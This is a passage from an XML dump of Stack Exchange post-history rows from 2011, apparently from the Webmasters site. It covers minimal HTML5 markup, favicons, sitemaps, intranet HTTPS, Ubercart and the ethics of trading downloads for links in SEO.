&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This is now approaching the minimum I'd start with. In practice, I'd normally set up a container `div` element called &quot;content&quot; to hold the rest of my layout:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;div id=&quot;content&quot;&gt;&#xD;&#xA;                &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This gives you more control over the central page element -- you can centre all page content (and have a full-width background image in the page body) by editing your `style.css` file to look like this:&#xD;&#xA;&#xD;&#xA;    #content{&#xD;&#xA;        width: 960px;&#xD;&#xA;        margin: 0 auto;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regarding different HTML versions, they are simply incremental revisions. 'HTML5' is the fifth revision of the HTML specification, with a wide range of [differences and improvements](http://www.w3.org/TR/html5-diff/) over HTML4. As such, it almost always makes sense to use the latest version (by starting your document with `&lt;!doctype html&gt;`) when you can.&#xD;&#xA;" />
  <row Id="37395" PostHistoryTypeId="5" PostId="15688" RevisionGUID="debab33c-3d6a-4463-9fce-44f6834b04d6" CreationDate="2011-06-23T13:16:12.330" UserId="-1" Comment="Tried to improve grammar...this was on a cross-SE ad" Text="I have done major updates to my website, and renamed all my URLs.&#xD;&#xA;&#xD;&#xA;How can I tell Google that I have renamed these URLs and let Google refresh its library?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**My Website url** : http://www.pndmasr.com&#xD;&#xA;&#xD;&#xA;**My sitemap** http://www.pndmasr.com/sitemap.xml&#xD;&#xA;&#xD;&#xA;I have uploaded my sitemap via Google Webmaster Tools many times.&#xD;&#xA;&#xD;&#xA;But, every time I search Google for &quot;pndmasr&quot; I get old pages results, I have waited more than 3 days but the problem remains. Any suggestions?&#xD;&#xA;&#xD;&#xA;Is there a problem with my sitemap ?" />
  <row Id="37396" PostHistoryTypeId="24" PostId="15688" RevisionGUID="debab33c-3d6a-4463-9fce-44f6834b04d6" CreationDate="2011-06-23T13:16:12.330" Comment="Proposed by 66.255.223.159|c70bf1cc-aeb2-49b4-b5b8-c88410c2e739 approved by 108 edit id of 406" />
  <row Id="37397" PostHistoryTypeId="2" PostId="15764" RevisionGUID="b2014c7a-74ec-4b63-8dd6-494488baf80f" CreationDate="2011-06-23T13:22:57.677" UserId="108" Text="Really both lines are unneeded.  You just need to put a favicon.ico file in your root directory and you should be fine.  You can include code like the above to allow for the favicon to load before the page finishes loading but that is unimportant.  It looks like the code in question above was created out of confusion." />
  <row Id="37398" PostHistoryTypeId="5" PostId="15738" RevisionGUID="f611f952-f2d3-4eb1-a8d1-154155814e59" CreationDate="2011-06-23T13:25:42.450" UserId="108" Comment="added 44 characters in body; edited title" Text="I am new to vps hosting. I checked daily process logs on my server and found a user with name nobody consuming more memory than others.&#xD;&#xA;&#xD;&#xA;So what is the user nobody related to and why is it consuming more memory?&#xD;&#xA;&#xD;&#xA;This is the log info I found:  &#xD;&#xA;&#xD;&#xA;    user / cpu / mem / mysql  &#xD;&#xA;    nobody / 0.00 /	27.31 /	0.0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37399" PostHistoryTypeId="4" PostId="15738" RevisionGUID="f611f952-f2d3-4eb1-a8d1-154155814e59" CreationDate="2011-06-23T13:25:42.450" UserId="108" Comment="added 44 characters in body; edited title" Text="What does the user &quot;nobody&quot; represent in server process logs" />
  <row Id="37400" PostHistoryTypeId="5" PostId="15745" RevisionGUID="96f996bb-2231-4b4c-a83d-96ae96ef739c" CreationDate="2011-06-23T13:27:02.613" UserId="7198" Comment="deleted 8 characters in body; deleted 8 characters in body" Text="The absolute minimum HTML you need to create a page that the W3C's [validator](http://validator.w3.org/) considers valid is:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&lt;title&gt;&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;The [doctype declaration](http://dev.w3.org/html5/spec/syntax.html#the-doctype) says that we're using HTML5. The `&lt;title&gt;` tag would contain the page title. However, since such a page is practically useless, it's much more common to see a simple document structure containing `&lt;head&gt;` and `&lt;body&gt;` tags, like this:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;You can improve on this further by telling the browser that we're using a UTF-8 character set, and that the primary language of the document is English:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Next, we'll add an external stylesheet and tell Internet Explorer to use the [Chrome Frame Plugin](http://www.google.com/chromeframe/) if the visitor's using it, which tends to improve page layout glitches:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This is now approaching the minimum I'd start with. In practice, I'd normally set up a container `div` element called &quot;content&quot; to hold the rest of my layout:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;div id=&quot;content&quot;&gt;&#xD;&#xA;                &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This gives you more control over the central page element -- you can centre all page content (and have a full-width background image in the page body) by editing your `style.css` file to look like this:&#xD;&#xA;&#xD;&#xA;    #content{&#xD;&#xA;        width: 960px;&#xD;&#xA;        margin: 0 auto;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regarding different HTML versions, they are simply incremental revisions. 'HTML5' is the fifth revision of the HTML specification, with a wide range of [differences and improvements](http://www.w3.org/TR/html5-diff/) over HTML4. As such, it almost always makes sense to use the latest version (by starting your document with `&lt;!doctype html&gt;`) when you can.&#xD;&#xA;" />
  <row Id="37401" PostHistoryTypeId="5" PostId="15736" RevisionGUID="7ed19e56-3e37-4ffa-8fcf-c8905a652a63" CreationDate="2011-06-23T13:28:03.463" UserId="108" Comment="deleted 33 characters in body; edited title" Text="How do I place a static wallpaper in this HTML theme?&#xD;&#xA;&#xD;&#xA;http://static.tumblr.com/taepiis/5SFln832d/theme.txt" />
  <row Id="37402" PostHistoryTypeId="4" PostId="15736" RevisionGUID="7ed19e56-3e37-4ffa-8fcf-c8905a652a63" CreationDate="2011-06-23T13:28:03.463" UserId="108" Comment="deleted 33 characters in body; edited title" Text="How do I place a static wallpaper in my Tumblr theme?" />
  <row Id="37403" PostHistoryTypeId="8" PostId="15745" RevisionGUID="435a1d53-9244-4137-bcc6-0f57fe1bcc8e" CreationDate="2011-06-23T13:29:12.577" UserId="7198" Comment="Rollback to [a55c0754-83ec-43a6-8b60-e9d916c75ac4]" Text="The absolute minimum HTML you need to create a page that the W3C's [validator](http://validator.w3.org/) considers valid is:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&lt;title&gt;&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;The [doctype declaration](http://dev.w3.org/html5/spec/syntax.html#the-doctype) says that we're using HTML5. The `&lt;title&gt;` tag would contain the page title. However, since such a page is practically useless, it's much more common to see a simple document structure containing `&lt;head&gt;` and `&lt;body&gt;` tags, like this:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;You can improve on this further by telling the browser that we're using a UTF-8 character set, and that the primary language of the document is English:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Next, we'll add an external stylesheet and tell Internet Explorer to use the [Chrome Frame Plugin](http://www.google.com/chromeframe/) if the visitor's using it, which tends to improve page layout glitches:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This is now approaching the minimum I'd start with. In practice, I'd normally set up a container `div` element called &quot;content&quot; to hold the rest of my layout:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;        &#xD;&#xA;        &lt;head&gt;&#xD;&#xA;            &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;            &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;            &lt;title&gt;Your page title&lt;/title&gt;&#xD;&#xA;            &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;        &lt;body&gt;&#xD;&#xA;            &lt;div id=&quot;content&quot;&gt;&#xD;&#xA;                &lt;p&gt;Your page content&lt;/p&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;This gives you more control over the central page element -- you can centre all page content (and have a full-width background image in the page body) by editing your `style.css` file to look like this:&#xD;&#xA;&#xD;&#xA;    #content{&#xD;&#xA;        width: 960px;&#xD;&#xA;        margin: 0 auto;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regarding different HTML versions, they are simply incremental revisions. 'HTML5' is the fifth revision of the HTML specification, with a wide range of [differences and improvements](http://www.w3.org/TR/html5-diff/) over HTML4. As such, it almost always makes sense to use the latest version (by starting your document with `&lt;!doctype html&gt;`) when you can.&#xD;&#xA;" />
  <row Id="37404" PostHistoryTypeId="2" PostId="15765" RevisionGUID="04cf9d38-1cab-4b9a-b567-d493eb89bbe7" CreationDate="2011-06-23T13:38:11.807" UserId="8331" Text="Im big Drupal fan, and some very high profile sites use Drupal which also suggests that its a good system. Can the same be said for Ubercart? &#xD;&#xA;&#xD;&#xA;Ive used it for some small e commerce sites purely because I know Drupal. It seems to lack some basic features and also relies on javascript. I dont know of any high profile e commerce sites using it. &#xD;&#xA;&#xD;&#xA;My productivity would take a big hit if I had to learn a new e commerce platform and also if I couldn't use my favorite CMS with it, but do I have a choice? If not I guess I can hope that Drupal 7's Commerce module will be an improvement. &#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="37405" PostHistoryTypeId="1" PostId="15765" RevisionGUID="04cf9d38-1cab-4b9a-b567-d493eb89bbe7" CreationDate="2011-06-23T13:38:11.807" UserId="8331" Text="Ubercart for 'serious' ecommerce?" />
  <row Id="37406" PostHistoryTypeId="3" PostId="15765" RevisionGUID="04cf9d38-1cab-4b9a-b567-d493eb89bbe7" CreationDate="2011-06-23T13:38:11.807" UserId="8331" Text="&lt;ecommerce&gt;" />
  <row Id="37407" PostHistoryTypeId="2" PostId="15766" RevisionGUID="7e0c0b32-59d1-4c93-b63a-0daf62f66af6" CreationDate="2011-06-23T13:45:46.450" UserId="1643" Text="&quot;High profile&quot; is quite a subjective thing. These sites are using it: http://www.ubercart.org/site&#xD;&#xA;&#xD;&#xA;32,000 sites are reported as using it http://drupal.org/project/usage/ubercart but I appreciate this is not the same thing as a few well known sites using it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37408" PostHistoryTypeId="17" PostId="15767" RevisionGUID="121d2b27-3291-4b89-b97c-b1c94f1c5525" CreationDate="2011-06-23T13:58:33.117" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/20822/moving-wordpress-to-another-domain-with-different-permalinks" Text="" />
  <row Id="37409" PostHistoryTypeId="2" PostId="15767" RevisionGUID="d29a98f8-2b83-469a-971e-269ceb165051" CreationDate="2011-06-23T10:57:40.820" UserDisplayName="Alex Dumitru" Text="I want to move Wordpress to another domain and also change the permalinks. So basically what I want is to move from: oldsite.com/PostId-PostName.html to newsite.com/PostName/&#xD;&#xA;&#xD;&#xA;I know this can be done from .htaccess, but I don't manage to get it right. Can you please help me ?" />
  <row Id="37410" PostHistoryTypeId="1" PostId="15767" RevisionGUID="d29a98f8-2b83-469a-971e-269ceb165051" CreationDate="2011-06-23T10:57:40.820" UserDisplayName="Alex Dumitru" Text="Moving Wordpress to another domain with different permalinks" />
  <row Id="37411" PostHistoryTypeId="3" PostId="15767" RevisionGUID="d29a98f8-2b83-469a-971e-269ceb165051" CreationDate="2011-06-23T10:57:40.820" UserDisplayName="Alex Dumitru" Text="&lt;redirects&gt;" />
  <row Id="37412" PostHistoryTypeId="2" PostId="15768" RevisionGUID="fbb3db64-a645-4298-a478-7994e4050006" CreationDate="2011-06-23T14:39:17.480" UserId="8499" Text="Are you aware of any online service or online &quot;platform&quot; allowing users, not previously registered, to upload pairs of picture+comment to a database?&#xD;&#xA;&#xD;&#xA;It would be a collaborative database of picture+comment pairs.&#xD;&#xA;&#xD;&#xA;I'm not going wiki or googlegroup, picasa or such because I'd like the user to have the least to do to participate, that is e.g.: take a picture with his phone and email it to an email to an email address. Or go to a web page with an upload form, type in a description, hit OK and that's it.&#xD;&#xA;&#xD;&#xA;And the goal is also that it be as hassle-less to put up as possible. Yeah I know, it can't programme itself to my requirements :) by I'm suspecting there's a tool or tool combination going a decent way through my needs.&#xD;&#xA;&#xD;&#xA;Thanks for any info/advice! SJA&#xD;&#xA;&#xD;&#xA;(NB the final goal is a kind of crowd-sourced census of specific urban items. If you have comment about the potential for spam-overload of my idea, other than &quot;you're doomed&quot;, you're welcome!) &#xD;&#xA;" />
  <row Id="37413" PostHistoryTypeId="1" PostId="15768" RevisionGUID="fbb3db64-a645-4298-a478-7994e4050006" CreationDate="2011-06-23T14:39:17.480" UserId="8499" Text="Receive anonymous users' input by web upload form or email. Any online service for that?" />
  <row Id="37414" PostHistoryTypeId="3" PostId="15768" RevisionGUID="fbb3db64-a645-4298-a478-7994e4050006" CreationDate="2011-06-23T14:39:17.480" UserId="8499" Text="&lt;database&gt;&lt;image-hosting&gt;&lt;user-generated-content&gt;" />
  <row Id="37415" PostHistoryTypeId="2" PostId="15769" RevisionGUID="d5b3a812-f0b3-47b5-aff9-2be6a212ec24" CreationDate="2011-06-23T15:08:52.570" UserId="6248" Text="The question is in the title.&#xD;&#xA;&#xD;&#xA;Does an internal site need to have `https` security?&#xD;&#xA;&#xD;&#xA;For example we have an internal site that handles our client's license keys -- do we need for that to be secure since it is on out internal network?" />
  <row Id="37416" PostHistoryTypeId="1" PostId="15769" RevisionGUID="d5b3a812-f0b3-47b5-aff9-2be6a212ec24" CreationDate="2011-06-23T15:08:52.570" UserId="6248" Text="Do internal intranet websites need to be secure?" />
  <row Id="37417" PostHistoryTypeId="3" PostId="15769" RevisionGUID="d5b3a812-f0b3-47b5-aff9-2be6a212ec24" CreationDate="2011-06-23T15:08:52.570" UserId="6248" Text="&lt;ssl&gt;&lt;web-security&gt;&lt;intranet&gt;" />
  <row Id="37418" PostHistoryTypeId="10" PostId="15767" RevisionGUID="990f07f0-2295-426f-9b7f-951f86b75978" CreationDate="2011-06-23T15:09:59.713" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37419" PostHistoryTypeId="2" PostId="15770" RevisionGUID="7d3d12d4-583c-4835-a38a-6f2406218d37" CreationDate="2011-06-23T15:11:19.977" UserId="3406" Text="I remember stumbling across a free service that you could integrate with your website that would give visitors access to a download (PDF/ebook/white paper etc) if you Tweeted/ Facebook Liked etc. but for the life of me I can't find it now.&#xD;&#xA;&#xD;&#xA;Does anyone have any recommendations?" />
  <row Id="37420" PostHistoryTypeId="1" PostId="15770" RevisionGUID="7d3d12d4-583c-4835-a38a-6f2406218d37" CreationDate="2011-06-23T15:11:19.977" UserId="3406" Text="Service to give access to download after Tweet / FB Like etc" />
  <row Id="37421" PostHistoryTypeId="3" PostId="15770" RevisionGUID="7d3d12d4-583c-4835-a38a-6f2406218d37" CreationDate="2011-06-23T15:11:19.977" UserId="3406" Text="&lt;websites&gt;&lt;facebook&gt;&lt;twitter&gt;" />
  <row Id="37422" PostHistoryTypeId="2" PostId="15771" RevisionGUID="b68f9839-d070-4446-871d-785d47067e77" CreationDate="2011-06-23T15:16:51.003" UserId="1253" Text="If the content on your network is sensitive and there are users who do not have the privileges required to view some or all of that content then you will want to use SSL on your intranet. Fortunately setting up SSL on your Intranet isn't difficult and you can use a self signed certificate since there is no need to verify your company's identy." />
  <row Id="37423" PostHistoryTypeId="2" PostId="15772" RevisionGUID="2131b8b4-03aa-425c-b73e-06bca5dd761f" CreationDate="2011-06-23T15:19:12.173" UserId="1643" Text="Was it http://www.paywithatweet.com/ ?&#xD;&#xA;For Wordpress there's a plugin: &#xD;&#xA;http://wordpress.org/extend/plugins/tweet2download/&#xD;&#xA;&#xD;&#xA;I haven't used either, so I can't recommend them." />
  <row Id="37424" PostHistoryTypeId="2" PostId="15773" RevisionGUID="deac672d-2e3c-4e87-af8c-00d876b02ed9" CreationDate="2011-06-23T15:20:22.953" UserId="1643" Text="If you have open wireless access for your visitors on the same network, and it's not served over https then it's easy for visitors to intercept other people's network traffic to your intranet." />
  <row Id="37425" PostHistoryTypeId="2" PostId="15774" RevisionGUID="eddf6f76-71ab-4cf1-a601-cffc059a6805" CreationDate="2011-06-23T15:23:34.570" UserId="3406" Text="http://www.cloudflood.com/ - Does Twitter and Facebook&#xD;&#xA;&#xD;&#xA;*(No connection and not yet used it)*" />
  <row Id="37426" PostHistoryTypeId="5" PostId="15769" RevisionGUID="a7500654-44ec-4f89-9cb7-6f105da58028" CreationDate="2011-06-23T15:24:08.033" UserId="6248" Comment="added 62 characters in body; added 4 characters in body" Text="The question is in the title.&#xD;&#xA;&#xD;&#xA;Does an internal site need to have `https` security?&#xD;&#xA;&#xD;&#xA;For example we have an internal site that handles our client's license keys -- do we need for that to be secure since it is on out internal network?  &#xD;&#xA; (The website is secured with IIS and windows user validation)" />
  <row Id="37427" PostHistoryTypeId="25" PostId="15769" RevisionGUID="4ee965d5-2898-41c6-bbed-5a68d923a3ad" CreationDate="2011-06-23T15:24:56.990" Comment="http://twitter.com/#!/StackWebmasters/status/83918469162217474" />
  <row Id="37428" PostHistoryTypeId="2" PostId="15775" RevisionGUID="9e856b0c-f755-4432-9d72-648ca92c755c" CreationDate="2011-06-23T15:26:51.913" UserId="1429" Text="The line below works in all browsers:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.your-site-domain/favicon.ico&quot;&gt;&#xD;&#xA;&#xD;&#xA;And it it's the only line used also by StackExchange sites (see in this page source code)&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://cdn.sstatic.net/webmasters/img/favicon.ico&quot;&gt;&#xD;&#xA;&#xD;&#xA;**NOTE:** the **full http path of the favicon** is necessary to show icon in IE, in all other browsers you don't need the full http path.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37429" PostHistoryTypeId="2" PostId="15776" RevisionGUID="2baffa4b-9bcd-4613-b5ac-d99307b1e937" CreationDate="2011-06-23T15:28:34.753" UserId="3406" Text="http://www.estago.com/ Twitter and Facebook" />
  <row Id="37430" PostHistoryTypeId="2" PostId="15777" RevisionGUID="fd21f16d-5939-4a06-a565-ee1bd6ba248b" CreationDate="2011-06-23T15:29:06.470" UserId="1643" Text="You can sign up for a Flickr Pro account (not free otherwise you can only see the last 200 pictures) and tell people the email address that they've set up for you on this page: http://www.flickr.com/account/uploadbyemail/&#xD;&#xA;&#xD;&#xA;&gt; You can use the subject line to give&#xD;&#xA;&gt; your photo or video a title and the&#xD;&#xA;&gt; body to add a description." />
  <row Id="37431" PostHistoryTypeId="2" PostId="15778" RevisionGUID="777c043f-5462-4a50-b646-19fe530e60b6" CreationDate="2011-06-23T15:33:09.023" UserId="3406" Text="There are a number of &quot;[Pay with tweet][1]&quot; type services where you get access to a download (pdf/ebook etc) if you tweet or Facebook like.&#xD;&#xA;&#xD;&#xA;Are there any services that do similar for 'normal' links (Blogs etc)?&#xD;&#xA;&#xD;&#xA;If you had an online service that you were planning to give away free if people linked to you for then would this be ( from an SEO perspective) :-&#xD;&#xA;&#xD;&#xA;- ethical?&#xD;&#xA;- effective?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/15770/service-to-give-access-to-download-after-tweet-fb-like-etc" />
  <row Id="37432" PostHistoryTypeId="1" PostId="15778" RevisionGUID="777c043f-5462-4a50-b646-19fe530e60b6" CreationDate="2011-06-23T15:33:09.023" UserId="3406" Text="&quot;Pay with a link&quot; - ethical for SEO?" />
  <row Id="37433" PostHistoryTypeId="3" PostId="15778" RevisionGUID="777c043f-5462-4a50-b646-19fe530e60b6" CreationDate="2011-06-23T15:33:09.023" UserId="3406" Text="&lt;seo&gt;&lt;links&gt;&lt;service&gt;" />
  <row Id="37434" PostHistoryTypeId="2" PostId="15779" RevisionGUID="535ef703-328a-4a2d-977f-fb37e3ade635" CreationDate="2011-06-23T15:37:15.450" UserId="8501" Text="In general, you can use the five campaign variables available to you for whatever you want. &#xD;&#xA;&#xD;&#xA;However, the way you used the three main variables in your examples is fine and follows Google's advice. It's your launch campaign, so that's a fitting value for Campaign Name, the Campaign Medium is the type of source and Campaign Source is supposed to be the actual source. That's all fine.&#xD;&#xA;&#xD;&#xA;If you need to track additional information, that's what the two remaining variables should be used for. If you have two different links in your email, I'd suggest using the Campaign Content for that information. It's usually meant for tracking two campaign items that differ only by their content (e.g. blue button vs. red button in a display ad), so it's reasonably suitable for your case.&#xD;&#xA;&#xD;&#xA;Make sure you use the same values every time (it's case sensitive), otherwise your data in Analytics will be all messy. " />
  <row Id="37435" PostHistoryTypeId="2" PostId="15780" RevisionGUID="e8a0b546-7882-47d3-ba7f-5adb88765a14" CreationDate="2011-06-23T15:37:23.747" UserId="1253" Text="This is definitely a grey area and I would think this could very well fall against Google's guidelines. You are manipulating the search engines by buying links. You may not be paying with money but you're giving something of monetary value to users to get backlinks. Those backlinks would never have occurred otherwise.&#xD;&#xA;&#xD;&#xA;I'd avoid it for the potential to be seen as purchasing links.&#xD;&#xA;&#xD;&#xA;I also doubt the links you get will be quality links. Sites that can potentially give you quality links almost certainly won't do something like this. Not too mention I would think most links would be from low quality and or off-topic sites. Those links would have very little value." />
  <row Id="37436" PostHistoryTypeId="2" PostId="15781" RevisionGUID="2427eeb0-6e63-4e28-a95b-cb5454563299" CreationDate="2011-06-23T15:39:41.127" UserId="1643" Text="It's not effective if you get caught:&#xD;&#xA;&#xD;&#xA;&gt; Google works hard to ensure that it&#xD;&#xA;&gt; fully discounts links intended to&#xD;&#xA;&gt; manipulate search engine results, such&#xD;&#xA;&gt; excessive link exchanges and purchased&#xD;&#xA;&gt; links that pass PageRank.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=66736&#xD;&#xA;&#xD;&#xA;However&#xD;&#xA;&gt; Not all paid links violate our&#xD;&#xA;&gt; guidelines. Buying and selling links&#xD;&#xA;&gt; is a normal part of the economy of the&#xD;&#xA;&gt; web when done for advertising&#xD;&#xA;&gt; purposes, and not for manipulation of&#xD;&#xA;&gt; search results. Links purchased for&#xD;&#xA;&gt; advertising should be designated as&#xD;&#xA;&gt; such. This can be done in several&#xD;&#xA;&gt; ways, such as:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Adding a rel=&quot;nofollow&quot; attribute to&#xD;&#xA;&gt; the &lt;a&gt; tag&#xD;&#xA;&gt; - Redirecting the links to&#xD;&#xA;&gt; an intermediate page that is blocked&#xD;&#xA;&gt; from search engines with a robots.txt&#xD;&#xA;&gt; file&#xD;&#xA;&#xD;&#xA;So if you follow those guidelines you won't get SEO, but you may get visitors." />
  <row Id="37439" PostHistoryTypeId="2" PostId="15783" RevisionGUID="b6e0980e-d71f-41b0-95a2-0c17ed5789d8" CreationDate="2011-06-23T15:52:42.847" UserId="8263" Text="I just happened to check the keywords list on Google Webmaster Tools for my site, which is an educational content site about finance. To my big surprise, after the first keyword, which is 'finance', I found amongst the 20 highest ranked (!) entries words like: mysql, server, adobe, flash, player, homez.&#xD;&#xA;&#xD;&#xA;What (i'm tempted to add &quot;the heck&quot;) does that mean ? Is that something I should worry about? If so, how did these get there and how can I eliminate these / avoid they get into that list ?&#xD;&#xA;&#xD;&#xA;Thanks very much in advance for your help" />
  <row Id="37440" PostHistoryTypeId="1" PostId="15783" RevisionGUID="b6e0980e-d71f-41b0-95a2-0c17ed5789d8" CreationDate="2011-06-23T15:52:42.847" UserId="8263" Text="Weird keywords in google webmaster tools" />
  <row Id="37441" PostHistoryTypeId="3" PostId="15783" RevisionGUID="b6e0980e-d71f-41b0-95a2-0c17ed5789d8" CreationDate="2011-06-23T15:52:42.847" UserId="8263" Text="&lt;google-webmaster-tools&gt;&lt;keywords&gt;" />
  <row Id="37442" PostHistoryTypeId="2" PostId="15784" RevisionGUID="c55a9124-19a6-46e7-82f4-eae515db06b1" CreationDate="2011-06-23T15:54:47.137" UserId="1643" Text="These words may occur in links to your site. If you search Google for `link: yoursite.com` you can look at the links to your site and see what words they are using." />
